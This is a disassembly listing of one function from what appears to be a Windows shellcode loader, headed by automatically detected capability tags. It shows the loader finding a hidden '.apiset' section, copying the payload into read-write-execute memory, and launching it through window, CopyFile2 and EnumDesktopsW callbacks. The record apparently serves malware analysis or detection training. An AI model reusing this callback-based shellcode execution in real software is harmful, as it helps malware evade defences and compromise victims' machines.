Function at 0x140001260
Capabilities:
Allocate or change rwx memory
Create pipe
Create thread
Enumerate gui resources
Enumerate pe sections
Execute shellcode via indirect call
Execute shellcode via windows callback function
Spawn thread to rwx shellcode
Write file on windows
Write pipe

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x2b0]
sub rsp, 0x3b0
mov rax, qword [0x14001a008]
xor rax, rsp
mov qword [rbp + 0x2a0], rax
call fcn.1400011f0
mov r9, rax
mov dword [rbp + 0x80], 0x6970612e
xor eax, eax
mov word [rbp + 0x84], 0x6573
mov qword [rbp - 0x48], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
lea rax, [rbp - 0x78]
mov qword [rbp - 0x40], rax
lea rdx, [r9 + 0x18]
movups xmmword [rbp - 0x68], xmm0
movups xmmword [rbp - 0x58], xmm0
movsxd rcx, dword [r9 + 0x3c]
add rdx, rcx
movzx eax, word [rcx + r9 + 0x14]
movzx r8d, word [rcx + r9 + 6]
add rdx, rax
movzx eax, word [rbp + 0x84]
xor r14d, r14d
mov ecx, dword [rbp + 0x80]
mov ebx, r14d
cmp dword [rdx], ecx
jne 0x140001305
cmp word [rdx + 4], ax
jne 0x140001305
cmp byte [rdx + 6], 0x74
je 0x140001311
add rdx, 0x28
add r8d, 0xffffffff
jne 0x1400012f5
jmp 0x140001317
mov ebx, dword [rdx + 0xc]
add rbx, r9
mov eax, dword [rbx]
xor ecx, ecx
mov qword [rbp - 0x68], rax
mov r8d, 0x3000
mov edx, dword [rbx + 4]
add rbx, 8
mov qword [rbp - 0x50], rdx
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x14000163f
mov rcx, qword [rbp - 0x68]
mov edx, 1
mov qword [rbp - 0x60], rax
call fcn.140005630
mov qword [rbp - 0x78], rax
test rax, rax
je 0x14000163f
mov r8, qword [rbp - 0x68]
mov rdx, rbx
mov rcx, rax
mov qword [rsp + 0x3c0], rsi
call fcn.140002480
add rbx, qword [rbp - 0x68]
mov rcx, rdi
mov r8, qword [rbp - 0x50]
mov rdx, rbx
call fcn.140002480
mov rdx, qword [rbp - 0x50]
lea r9, [rsp + 0x70]
mov r8d, 4
mov dword [rsp + 0x70], r14d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400013be
mov r8, qword [rbp - 0x50]
xor edx, edx
mov rcx, rbx
call fcn.140002b30
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
xorps xmm0, xmm0
mov qword [rbp + 0x30], r14
mov rbx, rax
mov qword [rbp + 0x40], r14
lea rax, section..text
movdqa xmmword [rbp + 0x50], xmm0
xorps xmm1, xmm1
mov qword [rbp + 0x38], rax
lea rsi, str.msctls_progress32
movdqa xmmword [rbp + 0x60], xmm1
lea rcx, [rbp + 0x30]
mov qword [rbp + 0x48], rbx
mov qword [rbp + 0x70], rsi
call qword [sym.imp.USER32.dll_RegisterClassW]
mov qword [rsp + 0x58], r14
mov r9d, 0xcf0000
mov qword [rsp + 0x50], rbx
xor r8d, r8d
mov qword [rsp + 0x48], r14
mov rdx, rsi
mov qword [rsp + 0x40], r14
xor ecx, ecx
mov dword [rsp + 0x38], 0x80000000
mov dword [rsp + 0x30], 0x80000000
mov dword [rsp + 0x28], 0x80000000
mov dword [rsp + 0x20], 0x80000000
call qword [sym.imp.USER32.dll_CreateWindowExW]
xorps xmm0, xmm0
mov qword [rbp - 0x38], 0x18
xor r9d, r9d
mov qword [rsp + 0x68], rax
lea r8, [rbp - 0x38]
mov qword [rbp - 0x28], 1
lea rdx, [rbp - 0x80]
mov qword [rbp - 0x30], r14
lea rcx, [rsp + 0x78]
movups xmmword [rsp + 0x78], xmm0
call qword [sym.imp.KERNEL32.dll_CreatePipe]
mov rsi, qword [rsp + 0x3c0]
test eax, eax
je 0x14000163f
mov qword [rsp + 0x28], r14
lea r9, [rsp + 0x78]
lea r8, [0x140001130]
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call fcn.14000579c
mov rbx, rax
test rax, rax
je 0x14000163f
mov rcx, qword [rbp - 0x80]
lea r9, [rsp + 0x60]
mov r8d, 8
mov dword [rsp + 0x60], r14d
lea rdx, [rbp - 0x40]
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x14000163f
mov rcx, qword [rbp - 0x80]
lea r9, [rsp + 0x60]
mov r8d, 8
mov qword [rsp + 0x20], r14
lea rdx, [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x14000163f
mov rdx, qword [rsp + 0x68]
lea rcx, [rbp]
xorps xmm0, xmm0
mov r9d, 0x109
xor r8d, r8d
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm0
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x140001570
nop dword [rax]
lea rcx, [rbp]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp]
call qword [sym.imp.USER32.dll_DispatchMessageW]
mov rdx, qword [rsp + 0x68]
lea rcx, [rbp]
mov r9d, 0x109
xor r8d, r8d
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jne 0x140001540
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.USER32.dll_DestroyWindow]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp - 0x78]
mov edx, 1
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.CopyFile2
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x140001626
lea rax, [0x1400010f0]
mov qword [rbp - 0x18], r14
xor edx, edx
mov qword [rbp - 0x10], rax
mov r8d, 0x208
mov dword [rbp - 0x20], 0x20
lea rcx, [rbp + 0x90]
mov dword [rbp - 0x1c], 0x1000
mov qword [rbp - 8], rdi
call fcn.140002b30
lea r8, [rbp - 0x20]
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x90]
call rbx
jmp 0x14000163f
call qword [sym.imp.USER32.dll_GetProcessWindowStation]
mov r8, rdi
lea rdx, [0x140001110]
mov rcx, rax
call qword [sym.imp.USER32.dll_EnumDesktopsW]
mov rcx, qword [rbp + 0x2a0]
xor rcx, rsp
call fcn.140001730
lea r11, [rsp + 0x3b0]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret